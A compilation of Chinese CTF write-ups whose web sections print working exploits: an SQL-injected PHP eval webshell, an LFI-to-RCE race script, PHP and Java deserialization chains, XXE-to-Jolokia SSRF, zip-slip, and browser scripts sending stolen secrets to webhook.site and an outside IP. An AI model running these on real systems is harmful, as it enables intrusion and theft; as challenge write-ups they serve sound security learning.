平等和谐自由平等平等自由法治友善平等平等民主公正敬业和谐文明平等爱国公正敬业公正诚信自由和谐民主平等爱国公正敬业公正平等和谐文明自由友善公正公正敬业和谐自由文明友善法治自由友善公正公正友善敬业公正诚信自由公正法治和谐和谐平等敬业法治平等公正民主公正诚信自由和谐 核心价值观解码报错了,最后发现把最后的和谐两个字去除就行了 解码得到前半部分得flag: SET{Qi2Xin1Xie2Li4-Long3Yuan 后半部分同样是base32,按道理来说可以直接解开,但是这里乱码了,原因是长度不够,于是在前面添上777 可以得到: 6988ee5b9b3e7ad89e58f8be59684e887aae794b1e585ace6ada3e788b1e59bbde585ace6ada3e6b091e4b8bbe585ace6ada3e58f8be59684e788b1e59bbde5928ce8b090e887aae794b1e5b9b3e7ad89e695ace4b89ae585ace6ada3e695ace4b89ae5928ce8b090e887aae794b1e6b395e6b2bbe8af9ae4bfa1e5928ce8b090 这里hex解码又是乱码,把第一个6删掉,再解码得到平等友善自由公正爱国公正民主公正友善爱国和谐自由平等敬业公正敬业和谐自由法治诚信和谐 再解码得到Zhan4Yi4},但是注意少了一个数字,因为每一个拼音后面都有一个数字,在前半段 flag: SET{Qi2Xin1Xie2Li4-Long3Yuan中的Yuan后面肯定是有一个数字的,经过一个一个试,最终得到是2 所以完整flag为: SET{Qi2Xin1Xie2Li4-Long3Yuan2Zhan4Yi4} 2.打败病毒下载附件,发现是MC,根据描述来看应该是杀掉BOSS之后就能获得flag 进入游戏,首先肯定是要给自己来称手一把好剑啦,直接输入指令/give @p minecraft:diamond_sword 1 0 {ench:[{id:16,lvl:32727}]},想获得附魔的钻石剑,但是提示权限不过,应该是这个mod禁用了作弊。 但是这难不倒咱们老MC玩家了,直接选择对局域网开放,并且勾选上允许作弊,游戏模式选择创造模式,然后就能输入刚才的指令获得钻石剑了 这里是有一个穿越的门的,跳进去就会到另外一个时空,里面是有boss的,但是进去了之后我们在一个平台上,到达不了龙的位置,所以要进入创造模式,输入/gamemode 1,现在双击空格就能飞起来了 对着这条龙就是一刀斩!打死了之后有个墓碑,看起来也是一个传送门 进去之后,就提醒通关了,然后给了一串base编码 通过base62解码得到flag flag为: SETCTF{Fi9ht1ng_3ItH_V1rUs} 3.SOS下载附件,又是MC,这次不是打怪了,这次一进去,就听到了拨号的音,然后旁边是 很多按钮,通过踩下这些按钮,旁边就落下来一些东西 通过这些就可以猜想 通过DTMF的脚本来识别这段拨号音频,得到按键的循序,通过这个顺序依次踩下按钮,用手机将音频录制下来,然后转为wav格式的音频 DTMF脚本地址:https://github.com/ribt/dtmf-decoder DTMF脚本: #!/usr/bin/env python3 import numpy as np import matplotlib.pyplot as plt from scipy.io import wavfile import argparse dtmf = {(697, 1209): "1", (697, 1336): "2", (697, 1477): "3", (770, 1209): "4", (770, 1336): "5", (770, 1477): "6", (852, 1209): "7", (852, 1336): "8", (852, 1477): "9", (941, 1209): "*", (941, 1336): "0", (941, 1477): "#", (697, 1633): "A", (770, 1633): "B", (852, 1633): "C", (941, 1633): "D"} parser = argparse.ArgumentParser(description="Extract phone numbers from an audio recording of the dial tones.") parser.add_argument("-v", "--verbose", help="show a complete timeline", action="store_true") parser.add_argument("-l", "--left", help="left channel only (if the sound is stereo)", action="store_true") parser.add_argument("-r", "--right", help="right channel only (if the sound is stereo)", action="store_true") parser.add_argument("-d", "--debug", help="show graphs to debug", action="store_true") parser.add_argument("-t", type=int, metavar="F", help="acceptable frequency error (in hertz, 20 by default)", default=20) parser.add_argument("-i", type=float, metavar='T', help="process by T seconds intervals (0.04 by default)", default=0.04) parser.add_argument('file', type=argparse.FileType('r')) args = parser.parse_args() file = args.file.name try: fps, data = wavfile.read(file) except FileNotFoundError: print("No such file:", file) exit() except ValueError: print("Impossible to read:", file) print("Please give a wav file.") exit() if args.left and not args.right: if len(data.shape) == 2 and data.shape[1] == 2: data = np.array([i[0] for i in data]) elif len(data.shape) == 1: print("Warning: The sound is mono so the -l option was ignored.") else: print("Warning: The sound is not mono and not stereo (" + str( data.shape[1]) + " canals)... so the -l option was ignored.") elif args.right and not args.left: if len(data.shape) == 2 and data.shape[1] == 2: data = np.array([i[1] for i in data]) elif len(data.shape) == 1: print("Warning: the sound is mono so the -r option was ignored.") else: print("Warning: The sound is not mono and not stereo (" + str( data.shape[1]) + " canals)... so the -r option was ignored.") else: if len(data.shape) == 2: data = data.sum(axis=1) # stereo precision = args.i duration = len(data) / fps step = int(len(data) // (duration // precision)) debug = args.debug verbose = args.verbose c = "" if debug: print( "Warning:nThe debug mode is very uncomfortable: you need to close each window to continue.nFeel free to kill the process doing CTRL+C and then close the window.n") if verbose: print("0:00 ", end='', flush=True) try: for i in range(0, len(data) - step, step): signal = data[i:i + step] if debug: plt.subplot(311) plt.subplots_adjust(hspace=0.5) plt.title("audio (entire signal)") plt.plot(data) plt.xticks([]) plt.yticks([]) plt.axvline(x=i, linewidth=1, color='red') plt.axvline(x=i + step, linewidth=1, color='red') plt.subplot(312) plt.title("analysed frame") plt.plot(signal) plt.xticks([]) plt.yticks([]) frequencies = np.fft.fftfreq(signal.size, d=1 / fps) amplitudes = np.fft.fft(signal) # Low i_min = np.where(frequencies > 0)[0][0] i_max = np.where(frequencies > 1050)[0][0] freq = frequencies[i_min:i_max] amp = abs(amplitudes.real[i_min:i_max]) lf = freq[np.where(amp == max(amp))[0][0]] delta = args.t best = 0 for f in [697, 770, 852, 941]: if abs(lf - f) < delta: delta = abs(lf - f) best = f if debug: plt.subplot(313) plt.title("Fourier transform") plt.plot(freq, amp) plt.yticks([]) plt.annotate(str(int(lf)) + "Hz", xy=(lf, max(amp))) lf = best # High i_min = np.where(frequencies > 1100)[0][0] i_max = np.where(frequencies > 2000)[0][0] freq = frequencies[i_min:i_max] amp = abs(amplitudes.real[i_min:i_max]) hf = freq[np.where(amp == max(amp))[0][0]] delta = args.t best = 0 for f in [1209, 1336, 1477, 1633]: if abs(hf - f) < delta: delta = abs(hf - f) best = f if debug: plt.plot(freq, amp) plt.annotate(str(int(hf)) + "Hz", xy=(hf, max(amp))) hf = best if debug: if lf == 0 or hf == 0: txt = "Unknown dial tone" else: txt = str(lf) + "Hz + " + str(hf) + "Hz -> " + dtmf[(lf, hf)] plt.xlabel(txt) t = int(i // step * precision) if verbose and t > int((i - 1) // step * precision): m = str(int(t // 60)) s = str(t % 60) s = "0" * (2 - len(s)) + s print("n" + m + ":" + s + " ", end='', flush=True) if lf == 0 or hf == 0: if verbose: print(".", end='', flush=True) c = "" elif dtmf[(lf, hf)] != c or verbose: c = dtmf[(lf, hf)] print(c, end='', flush=True) if debug: plt.show() print() except KeyboardInterrupt: print("nCTRL+C detected: exiting...") 使用终端命令: python dtmf.py 1.wav 得到踩键的顺序后,依次踩下,即可得到flag flag为: SETCTF{C0M3_4nD_he1P_mE} 参考链接:https://mp.weixin.qq.com/s/O5cyHCvQsu6RNTp4A_Gp4whttps://mp.weixin.qq.com/s/Lcq7h8VpZaHX3oFrr2E_uQhttps://mp.weixin.qq.com/s/KIkE50ELd2PBcbqZ_vUyQghttps://www.wangt.cc/2021/11/%E9%99%87%E5%8E%9F%E6%88%98%E7%96%AB2021%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E5%A4%A7%E8%B5%9Bwriteup/https://www.cnblogs.com/LynneHuan/p/15522466.html#h3apclasshttps://blog.csdn.net/m0_48218081/article/details/121237170
  8. WEBmmmmd5d5d5d5链接打开页面 绕过 ?a[]=1&b[]=2 构造md5 <?php for($i = 0 ; $i <= 100000 ; $i ++) { if (substr(md5($i) , 5, 5) === "3ddc6") { echo $i; break; } } ?> 进入到下一层 提交 ffifdyop 得到: <?php error_reporting(0); include "flag.php"; highlight_file(__FILE__); if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){ echo $flag; } 构造payload: param1[]=1&param2[]=2 即可得到flag EDGnb(签到)直接docker桌面版打开 即可得到flag 时光塔的宝藏链接打开一个login框 构造payload: pswd=admin&usname=admin' union select 1,"<?php eval($_POST[1]);?>" into outfile '/var/www/html/1203.php';# 蚁剑连1203.php,密码为1,即可得到flag LFI_to_RCE<?php show_source('./index.php'); include $_GET['file']; ?> Warning: include(): Filename cannot be empty in /var/www/html/index.php on line 3 Warning: include(): Failed opening '' for inclusion (include_path='.:/usr/local/lib/php') in /var/www/html/index.php on line 3 贴上exp: import requests import io import threading url = "http://81.70.102.209:10040/index.php" sessid = "21r000" def write(session): filebytes = io.BytesIO(b'a' * 1024 * 50) while True: res = session.post(url, data={ 'PHP_SESSION_UPLOAD_PROGRESS': "<?php eval($_POST[1]);?>" }, cookies={ 'PHPSESSID': sessid }, files={ 'file': ('21r000.jpg', filebytes) } ) def read(session): while True: res = session.post(url+"?file=/tmp/sess_"+sessid, data={ "1":"system('ls /');" }, cookies={ "PHPSESSID":sessid } ) if "etc" in res.text: print(res.text) if __name__ == "__main__": evnet = threading.Event() with requests.session() as session: for i in range(5): threading.Thread(target=write, args=(session,)).start() for i in range(5): threading.Thread(target=read, args=(session,)).start() evnet.set() 访问即可得到flag unserialize<?php error_reporting(0); include 'hint.php'; class x{ public $value; public $cc; function __wakeup(){ die('fighting!!!'); } } class a { public $nice; public function __destruct() { $this->nice = unserialize($this->nice); $this->nice->value = $fake; if($this->nice->value === $this->nice->cc) $this->test->good(); } } class b { public $value; public $array; public function good(){ if(is_array($this->array)){ ($this->array)($this->value); } else{ echo 'must_array'; } } } class c { public $value; public function shell($func) { if(preg_match('/^[a-z0-9]*$/isD',$func)){ die('y0u_A2e_HacKK!'); } else{ $func($this->value); } } } if (isset($_GET['pop'])) { $pop = base64_decode($_GET['pop']); unserialize($pop); } else { highlight_file(__FILE__); } pop链问题把a:2改成a:3 ?pop=TzoxOiJhIjozOntzOjQ6Im5pY2UiO3M6Mzc6Ik86MToieCI6Mjp7czo1OiJ2YWx1ZSI7TjtzOjI6ImNjIjtOO30iO3M6NDoidGVzdCI7TzoxOiJiIjoyOntzOjU6InZhbHVlIjtzOjc6IlxzeXN0ZW0iO3M6NToiYXJyYXkiO2E6Mjp7aTowO086MToiYyI6MTp7czo1OiJ2YWx1ZSI7czo5OiJjYXQgL2ZsYWciO31pOjE7czo1OiJzaGVsbCI7fX19 贴上poc <?php class x{ public $value; public $cc; public function __construct() { $this->value = $fake; $this->cc = $fake; } function __wakeup(){ die('fighting!!!'); } } class a { public $nice; public function __construct() { $this->nice = serialize(new x()); $this->test = new b(); } public function __destruct() { $this->nice = unserialize($this->nice); $this->nice->value = $fake; if($this->nice->value === $this->nice->cc) $this->test->good(); } } class b { public $value = "\system"; public $array ; public function __construct() { $this->array = [new c(), 'shell']; } public function good(){ if(is_array($this->array)){ ($this->array)($this->value); } else{ echo 'must_array'; } } } class c { public $value = "cat /flag"; public function shell($func) { if(preg_match('/^[a-z0-9]*$/isD',$func)){ die('y0u_A2e_HacKK!'); } else{ $func($this->value); } } } $a = new a(); echo serialize($a); echo "<br>"; echo base64_encode(serialize($a)); ?> misc快来公众号ya 扫码即可 JamesHarden附件下载解压后修改文件后缀,加上.zip后解压文件是是一个.class文件: 对URPGS{Jr1p0zr_G0_U3pg6_!}进行rot13解密得到flag: 捉迷藏附件打开文件为一个word文档 根据文字提示,将作文内容字体大小改为12 发现为jsfuck加密 http://codertab.com/JsUnFuck在线网站中解密 解密得到flag 迷途的狗狗附件打开 打开迷途的狗狗文件夹 压缩包中有一张图片,但是需要密码 在ziperello中使用暴力破击,字符集设定为数字 得到密码为142345,成功解压文件得到一张图片 在kali中使用binwalk分析文件内容 发现隐藏图片中隐藏了一个jpg文件 使用foremost分离文件 第二张图片中显示flag snake玩到6000分给了个提示 溯源找到源码 重新修改show_text函数 进行pyinstaller反打包后有个snake.pyc,pyc反编译成py后就是它的源码 得到flag: 问卷调查简简单单签个退吧就,下次继续。 crypto签到附件打开 与佛论禅解密得到一串base64密文 SkJDVUdWQ0dQTlRXNjMzRUw1V0hLWTNMTDVURzY0UzdQRlhYSzdJPQ== 解密后再base32解密得到flag: RSA_e_n附件: rsa中的e,n,c解密,直接上脚本: import gmpy2 import RSAwienerHacker e = 0x14b367bf01efd4dc667b8e62975479c612c96e78f7f1f55242b2973c882ddcb33a65c52174d8ae1273764ce429054ea3f2fdc38ff205443c92ef4198739f05aa11fc10d3fc6ff30c8f5f05a04f43e3d8fc9bfffe916b2e0360560a162729e91b7775bda70177e0f875626e0a81bd4eacea9948b02232a82659f8d9aa9b4c754f n = 0x75be564267f8bf6c2038dd0cadfeecbc3158acfc27e679dd0bdb0db0e90bd5198a0a7edc0626f357a2d75f3c37ede045b7f7ca6bda79e5bf6fc0aea0aa7beda587388599d2b77b538fc3e666784493ffaf731e2ae232e8e9e9f9f2a4df25c19b7680f5bf6c485bd87923f01c17d8ec35438772c28e361774e6e7681d67ecbe19 c = 10127659956533419108589656976567211166527205183773088147543122705230809548550336271584049969380709512046523116316965506372940655242616078713681678662841367955124154879878984026023241163358487655249424233120021240245459984899558747887087199609289148343740081670749999484769650710161617077523656215330005636913 #爆破d d = RSAwienerHacker.hack_RSA(e,n) print(d) m = gmpy2.powmod(c,d,n) import binascii print(binascii.unhexlify(hex(m)[2:])) 解得flag: Tool附件: 看上去是一串乱码,但是不难看出是维吉尼亚,直接丢在线网站得到key 根据恢复后的最后一段提示: Well, you already know that this is Virginia encryption, but unfortunately, the ultimate goal is not to get plaintext, but to get the key. For the flag of this question, you need to add an underscore in the middle of the key, and then add the flag standard format to it, and you can submit it. 在中间加入下划线即可得到flag encode附件: emoji表情加密,直接在线解,得到: 复制代码1你好呀,送你串字符吧:ɯlxɹƃluʌ‾ʌdɹo‾ɟlq‾lʍ : dǝʇs ʇsɐl 文本倒序得到下一步: 根据题目提示《逾越节的阴谋》 可以知道是埃特巴什密码,解码后即可得到flag。 出题人flag改慢了emmmmm,血没了,暴打出题人。 rehard附件文本格式打卡,直接搜HECTF即可 pwn签到用wirshark追踪tcp流 来源: https://www.cnblogs.com/21r000/p/15553844.html#%E7%AD%BE%E5%88%B0-1
  9. WebX1cT34m_API_System 考点:Springboot actuator配置不当导致的API安全问题 访问/actuator/mappings,可以看到有/actuator/jolokia(限制了本地IP,直接访问返回403)和一个隐藏的API接口/user/list。 或者可以直接拿APIKit扫到/user/list: POST访问/user/list,返回XML格式的数据 那么自然而然地想到了XXE;加了waf,不让直接读文件; (这里有俩师傅做了非预期,XXE的waf没写好,可以直接盲打外带flag,我在v2限制了靶机出网无法外带了) 但是众所周知,XXE是可以SSRF的; 那么SSRF配合/actuator/jolokia可以完成一次利用 因为是docker代理的端口,我们需要先访问/actuator/env获取本地服务端口: 然后构造SSRF: 因为/jolokia/list返回的数据太长了,而且里面有一些特殊符号会报XML document structures must start and end within the same entity.。 于是后面给了附件pom.xml,可以本地起起来看一下有什么Mbean。 有一个可以读写文件的Mbean: com.sun.management:type=DiagnosticCommand 判断远程环境是否存在这个Mbean: 如果不存在返回的是上图,如果存在返回的是下图两种情况 exp: POST /user/list HTTP/1.1 Host: localhost:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Connection: close Cookie: JSESSIONID=4E8E18623EC2DEB1675E56DF8955D33B Content-Type: application/xml Content-Length: 194 <?xml version="1.0"?> <!DOCTYPE dy [ <!ENTITY dy SYSTEM "http://127.0.0.1:8080/actuator/jolokia/exec/com.sun.management:type=DiagnosticCommand/compilerDirectivesAdd/!/flag"> ]> <id>&dy;</id>COPYflag: NCTF{Spring_actuator_And_Jolokia_1S_So_fun_by_the_way_we1com3_to_join_API_Security_Community_yulige_yyds_wysb}ezjava flag: nctf{J3va_SecUrlt9_ls_T0o_DlfficuLT}这个题其实也是一个在不支持jsp的情况下任意文件写的rce利用 前面部分先对代码进行审计,我们可以上传zip,然后在解压这里发现 他没有对压缩包文件内的文件进行检查,这里就可以导致解压目录穿越。这里可以通过一个脚本去生成这样的zip: import zipfile import os if __name__ == "__main__": try: zipFile = zipfile.ZipFile("poc.zip", "a", zipfile.ZIP_DEFLATED) info = zipfile.ZipInfo("poc.zip") zipFile.write("poc.class","../../usr/local/tomcat/webapps/html/WEB-INF/classes/com/x1c/nctf/Poc.class",zipfile.ZIP_DEFLATED) zipFile.close() except IOError as e: raise eCOPY那么我们现在就相当与可以写入任意文件了。那么就是在spring boot运行时并且不支持jsp没有热部署的情况下要如何去rce的问题了(好像这里题目在重启的过程中jsp支持被打开了,X__X) 其实这里给了一个后门是用来反序列化,这里的提示其实很明显了,我们就可以把恶意类文件写入到classpath,如何通过反序列化去加载我们恶意类中重新的readObject方法,就可以达成rce。 题目给的附件是war,然后也有tomcat的路径可以很轻松的得到classpath,然后通过unzip把恶意类解压到classpath下,再通过后门的反序列化去触发即可。(这里一开始没给tomcat路径是因为tomcat的路径是默认的而且可以通过zip路由去确认是否存在该路径,但是一直没有解就当hint去提示师傅们了:) exp: package com.x1c.nctf; import java.io.*; import java.io.Serializable; import com.x1c.nctf.Tool.*; public class Poc implements Serializable { public Poc() { } private void writeObject(ObjectInputStream out) throws IOException, ClassNotFoundException { out.defaultReadObject(); } private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException { in.defaultReadObject(); Runtime.getRuntime().exec("touch /tmp/1.txt"); } public static void main(String[] args) throws Exception { Poc o = new Poc(); System.out.println(Tool.base64Encode(Tool.serialize(o))); } } backdoor?cmd=rO0ABXNyABBjb20ueDFjLm5jdGYuUG9jLTxEyChKw8gCAAB4cA==COPY反弹shell就可以了! prettyjs flag: nctf{anyone_get_me_a_job_to_study_on_javascript:)}prettyjs这题主要的目的是考察选手们如何在服务端不存在X-Content-Type-Options+cookie的samesite属性为none的情况下,不用xss拿到/api/template下的敏感信息。不过部署题目时因为我的疏忽,导致/api/template默认的Content-Type为text/html,可以直接做到csrf=>xss orz , 而预期此处的Content-Type应该是text/plain的。 下面是预期的思路流程: 审计代码后可知我们需要构造cookie,而cookie所需的ADMIN_USERNAME与COOKIE_SECRET来自admin bot在/api/template路由下的template内容。 然而理论上站内并没有xss的地方,因此出发点只能是:让bot访问我们自己服务器,并向题目网站进行跨域请求。 而跨域就要面对SOP(Same Origin Policy)的限制。虽然题目的cookie samesite 属性被设置为none,使得cookie在我们服务器的域仍然有效,但通过fetch,XMLHttpRequest等等手段都会受到SOP的限制,请求发出去了,但是response返回后不会让javascript获取到。 同时服务端还存在一个referer的检查。 此处referer的检查其实也是目前很多主流web服务/中间件在jsonp,视频地址等等接口检查referer的手段:如果存在referer头,判断下是否是从我们自己站过来的。但这样的检查手段绕过也很简单,只需要不带referer即可。 那么现在关键是需要跨域加载且拿到返回值。而我们知道script在进行跨域加载js时是不会受到SOP的限制的,其返回内容也在控制范围内。但是此处script有两个问题需要解决 /api/template 内容并不是单纯js/api/template 是post路由我们依次来解决这两个问题。 第一个问题,首先/api/template的内容是由可控的userame+ 's Awesome experss page! Check below ?以及一份expressjs 的简单代码组成的。后面一部分代码自然是合法的js代码。那前一部分呢?是不是只要注释掉第一行,整个页面的内容就是合法js了? 答案是肯定的。只不过此处username被限制了,不能使用/。那//或/*都不能使用。不过我们完全可以用前端下js的另一种注释方式:<!-- 来注释掉第一行。这样就让整个/api/template的内容成为合法js了。 第二个问题,如何让script用post的方式加载内容?这里我的方法是,利用service worker来更改其对/api/template的请求。我们知道service worker 相当于浏览器端的代理,自然能将get改为post.那么最后的解法就水落石出了。 因为要注册service worker,所以这里我本地起一个node server提供http 服务,然后用ngrok 为我们获取一个临时的https域名。其中sw.js将发往/api/template的请求方式由get换成post. server.js const express = require('express'); const app = express(); const logger = require('morgan'); app.use(logger('dev')); app.get('/', (_, res) => { return res.sendFile(__dirname + '/solve.html'); }) app.get('/exp', (_, res) => { return res.sendFile(__dirname + '/exp.html'); }) app.get('/sw.js', (_, res) => { res.type('application/javascript'); return res.send(`self.addEventListener('fetch', (event) => { event.respondWith((async () => { let resp; if (event.request.url.includes('template')) { resp = await fetch(event.request, { method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded' }, body: "username=<!--", referrerPolicy: 'no-referrer' }); return resp; } else { return await fetch(event.request); } })()); });`) }) app.listen(9000)COPYsolve.html.用于注册service worker <!DOCTYPE html> <html> <head> <title>Solve</title> <script> if ('serviceWorker' in navigator) { window.addEventListener('load', () => { const sw = "https://6ad8-47-94-110-102.ngrok.io/sw.js"; navigator.serviceWorker.register(sw, { scope: '/' }) .then((register) => { navigator.sendBeacon("https://webhook.site/e708eb94-ea07-490a-969a-742d40033925", "Successfully register"); setTimeout(() => { window.open("/exp") }, 100); }, (err) => { navigator.sendBeacon("https://webhook.site/e708eb94-ea07-490a-969a-742d40033925", "Failed to register"); console.log('Service worker error:', err); }); }); } </script> </head> <body> byc_404 got this </body> </html>COPYexp.html。加载/api/template并通过hook的手段拿到ADMIN_USERNAME与COOKIE_SECRET。这里主要是重写与增加了一些函数使得nodejs下的代码放到前端js仍然合法。同时我们要获取的内容语句是:global.process.env.ADMIN_USERNAME.setFlag(COOKIE_SECRET)。我们可以使用Proxy来hook global每次访问属性或调用方法的操作。 <body> <script> const target = "https://prettyjs.bycsec404.top"; const script = document.createElement('script'); script.referrerpolicy = 'no-referrer'; script.src = target + "/api/template" document.body.appendChild(script); const require = (module) => { if (module == 'express') { return () => { return { use: () => { }, all: () => { }, listen: () => { }, get: (data, func) => { Object.prototype.global = new Proxy({}, handler); func('byc_404', { send: () => { } }); } } } } if (module === 'randomatic') { return () => { }; } if (module === 'express-session') { return () => { }; } } const url = 'https://webhook.site/e708eb94-ea07-490a-969a-742d40033925' const handler = { get: (target, prop) => { console.log(prop); if (['process', 'env', 'setFlag'].includes(prop) === false) { navigator.sendBeacon(url, `ADMIN_USERNAME=${prop}`); } if (prop == 'setFlag') { return (data) => { console.log(data) navigator.sendBeacon(url, `COOKIE_SECRET=${data}`); return {}; }; } target[prop] = {}; return new Proxy(target[prop], handler); } }; </script> </body>COPY利用cookie_secret 以及admin_username 就可以计算出flag所需的cookie了。由于服务端使用的是express的signedCookie,我们可以选择替换配置本地起一个一样的server,或者直接计算hmac-sha256签名,带上cookie访问/api/flag即可。 所以,X-Content-Type-Options的存在还是很有必要的,同时也要尽量避免设置samesite属性为none。 ps: xxx.xxx.xxx这种属于合法javascript的场景,不知道有没有让大家联想到 jsonwebtoken 呢 prettynote flag: nctf{xss_is_harder_than_rce_23333}prettynote 的预期解题流程其实已经在给出的第二个hint里了: json csrf + bypass CSP + make two sites same origin 第一步: json csrf. 这个考点貌似是某厂安全岗面试时经常会问到的一个问题XD。关于它其实stackoverflow上早就有解释了: 只有服务端限制了请求Content-Type必须是application/json之类才能限制此类攻击。 这类csrf攻击的常见场景包括但不限于: php使用php://input获取post body 并使用json_decode解析;go直接用json.unMarshal解析req.Body的数据。本题就可以基于后者这样的场景发起的csrf攻击。 能够csrf后,我们可以就能让bot增加可控的note内容了。 第二步,绕过csp 进行xss.这里注意store.prettynote.bycsec404.top的CSP 不难发现允许了主站prettynote.bycsec404.top 的src资源 Content-Security-Policy: default-src https://prettynote.bycsec404.top/; style-src 'self'; worker-src 'none'; frame-ancestors https://prettynote.bycsec404.top/; script-src 'nonce-SpyDCeJT39Rg6xVLzcapiMU7hqxqv6oIWrdYvTLOEpQ=' https://prettynote.bycsec404.top/; base-uri 'none';主站唯一有可控返回值的地方在/note/,自然是可以利用的。不过/note/的内容在store站也会作为innerHTML插入。因此这里我们需要稍微构造下/note/内容,让js payload与html 内容在一起,就能在store站达成xss。 alert(1);`<iframe srcdoc="<script src='https://prettynote.bycsec404.top/note/'></script>">`最后也是最重要的考点。我们拿到了store站的xss,而flag在主站的localStorage中,而localStorage 也是受到跨域保护的 所以我们需要让两个站 same origin。而最后一个hint是 https://developer.mozilla.org/en-US/docs/Web/API/Document/domain ,所以不难想到,我在store站利用xss,设置document.domain="prettynote.bycsec404.top",两者的domain一致不就可以访问了么。 然而事实是,即使设置了document.domain我们依然访问不到。这也是我自己踩过的一次坑。 假如注意到上面文档中的这样的一个语句 你可能会顺藤摸瓜,googledocument.domain=document.domain,从而找到MDN 上关于SOP的文档。https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy#changing_origin 所以,我们必须要在主站和从站都设置一遍document.domain才能让他们真正同源 知道这点之后其实就好办了。我们留意到主站与store站存在一个互相postMessage的通信 store: window.addEventListener('message', (e) => { if( e.data.type == "note" && e.origin == "https:\/\/prettynote.bycsec404.top"){ document.getElementById("note").innerHTML = e.data.content; let content = document.getElementById("note").textContent const result = { "userNote.content": content, "userNote.number": content.length, "userNote.status": content.length > 0 ? "healthy": "ready" } parent.postMessage(result, "*") } });COPYmain: userNote = {} const set = (function assign(b,c,d,a){if(b.includes(a)){return assign(b.substring(b.indexOf(a)+1),c,d[b.split(a)[0]])}return d[b]=c}); window.addEventListener('message', (e) => { if (e.data && e.origin == "https:\/\/store.prettynote.bycsec404.top") { for (let attr in e.data) { set(attr, e.data[attr], window, ".") } console.log(`Current note: ${JSON.stringify(userNote)}`) } })COPY可以看到每次store站都会反过来向主站postMessage,主站接收到内容后,则会经过set操作,设置userNote 的属性。而这里的set可以做到任意设置window下的属性 所以最后的方法就是,我们用store站的xss反过来向主站postMessage从而设置主站的document.domain,一致后即可访问localStorage,利用跳转bypass CSP 带出flag exp: <body> <h3>SOLVE</h3> <script> const url = "https://prettynote.bycsec404.top"; async function poc() { let form = document.createElement("form"); form.id = "addPost"; form.method = "POST"; form.action = `${url}/note/add`; form.enctype = "text/plain"; let src = `<script src=${url}/note>\<\/script>`; const payload = 'document.domain=\'bycsec404.top\';parent.parent.postMessage({\'document.domain\':\'bycsec404.top\'},\'*\');setTimeout(()=> parent.parent.location=\'http://120.27.246.202/?\'+parent.parent.localStorage.flag, 200);' + '`<iframe srcdoc=\\"' + src + '\\"></iframe>`'; let input = document.createElement("input"); input.name = `{"content":"${payload}", "test":"` input.value = 'byc_404"}' form.appendChild(input); document.body.appendChild(form); document.getElementById("addPost").submit(); } (async () => { poc(); })(); </script> </body>COPY摆就完事了 摆就完事了2.0 构建题目的时候打了tp5未开启强制路由导致rce的补丁代码,结果上题的时候上的时候用了另一个文件夹下的备用题目,导致很多队伍开始直接非预期rce,我还在想是不是waf给的简单导致有的师傅利用mysql写任意文件rce,直到跑去问了一位师傅的payload。。我先是修复了非预期,部署2.0并且修改原题权限要花费一些时间,给做题师傅们带来的不便还请谅解。 考点:thinkPHP5.0 sql盲注www.zip给出源码 原本漏洞的影响范围是5.0.13<=ThinkPHP<=5.0.15,题目环境给的是thinkPHP5.0.16,因为在5.0.16中官方修复了insert 方法注入需要传入的参数判定 大家查看源码可以发现,在这个case下还有一个’exp’可以利用,但是此字符串被thinkPHP过滤掉了,不能利用。本题删除了对exp的过滤,所以exp可以作为触发点触发sql注入。 M1sakaM1yuu.php控制器定义如下: <?php /* * @Author: m1saka@x1ct34m * @blog: www.m1saka.love */ namespace app\index\controller; class M1sakaM1yuu { public function index() { $username = request()->get('username/a'); $str = implode(',',$username); if (waf($str)) { return '<img src="http://www.m1saka.love/wp-content/uploads/2021/11/hutao.jpg" alt="hutao" />'; } if($username){ db('m1saka')->insert(['username' => $username]); return '啊对对对'; } else { return '说什么我就开摆';// } } }COPY有很多师傅在《摆就完事了2.0》中使用如下url访问控制器函数失败: http://129.211.173.64:8086/public/index.php/index/M1sakaM1yuu/index但在《摆就完事了》中这样访问能成功访问,于是觉得题目环境有问题来找我私聊,在此给出统一回复: 这个漏洞很多师傅应该都复现过,复现过程中会将config.php做如下设置: 这样能够看到回显,更加直观也方便调试。但是实战环境中这种理想环境极少出现,大部分情况下我们是得不到回显的,所以盲注更加贴合实战,这也是出题时考虑到的因素。 定义了一个waf函数,主要是ban了mysql可以写文件的函数,防止rce。要想实现mysql读取文件,需要给mysql很高的权限,并且知道所在文件的绝对路径。给出exp: # ''' # Author: m1saka@x1ct34m # blog: www.m1saka.love # ''' import requests import time flag = '' for i in range(1,100): for j in r'{}0123456789abcdefghijklmnopqrlstuv\/wxyz-_,<>\?.': #开始计时 before_time = time.time() #payload = 'substr((select(database())),{},1)="{}"'.format(i,j) #payload = 'substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),{},1)="{}"'.format(i,j) #payload = 'substr((select(group_concat(column_name))from(information_schema.columns)where(table_name="m1saka")),{},1)="{}"'.format(i,j) payload = 'substr((select(load_file("/var/www/html/ffllaagg.php"))),{},1)="{}"'.format(i,j) url = 'http://129.211.173.64:8086/public/index.php/index/m1saka_m1yuu/index?username[0]=exp&username[1]=sleep(if((1^({})),0,3))&username[2]=1'.format(payload) #print(url) r = requests.get(url) #print(r.text) #返回时间 after_time = time.time() offset = after_time - before_time if offset > 2.8: flag += j print(flag) breakCOPY在获取字段名的时候得知flag的绝对路径,直接load_file()函数加载就行。 非预期:tp5全版本未开启强制路由导致rce,直接cat /flag就行 ezsql import requests rst = "" url = "http://129.211.173.64:3080/login.php" # sql = "database()" # sql = "(select group_concat(table_name) from information_schema.tables where table_schema regexp 0x32303231)" # sql = "(select group_concat(column_name) from information_schema.columns where table_name regexp 0x4e635446)" sql = "(select group_concat(`fl@g`) from NcTF)" for i in range(1, 100): low = 32 high = 127 while low < high: mid = (low + high) // 2 data = { "password": "%s", "name[0]": f") or (ascii(substr({sql},{i},1))>{mid})#", "name[1]": "2" } rsp = requests.post(url=url, data=data) if "NCTF" in rsp.text: low = mid + 1 print(rsp.text) else: high = mid rst += chr(high) print(rst)COPY另一种解法是用$1 Pwnlogin出题人ID: 影二つ 题目描述: Welcome, it's ez nc 129.211.173.64 10005附件链接: http://download.kagehutatsu.com/Download/login.zip 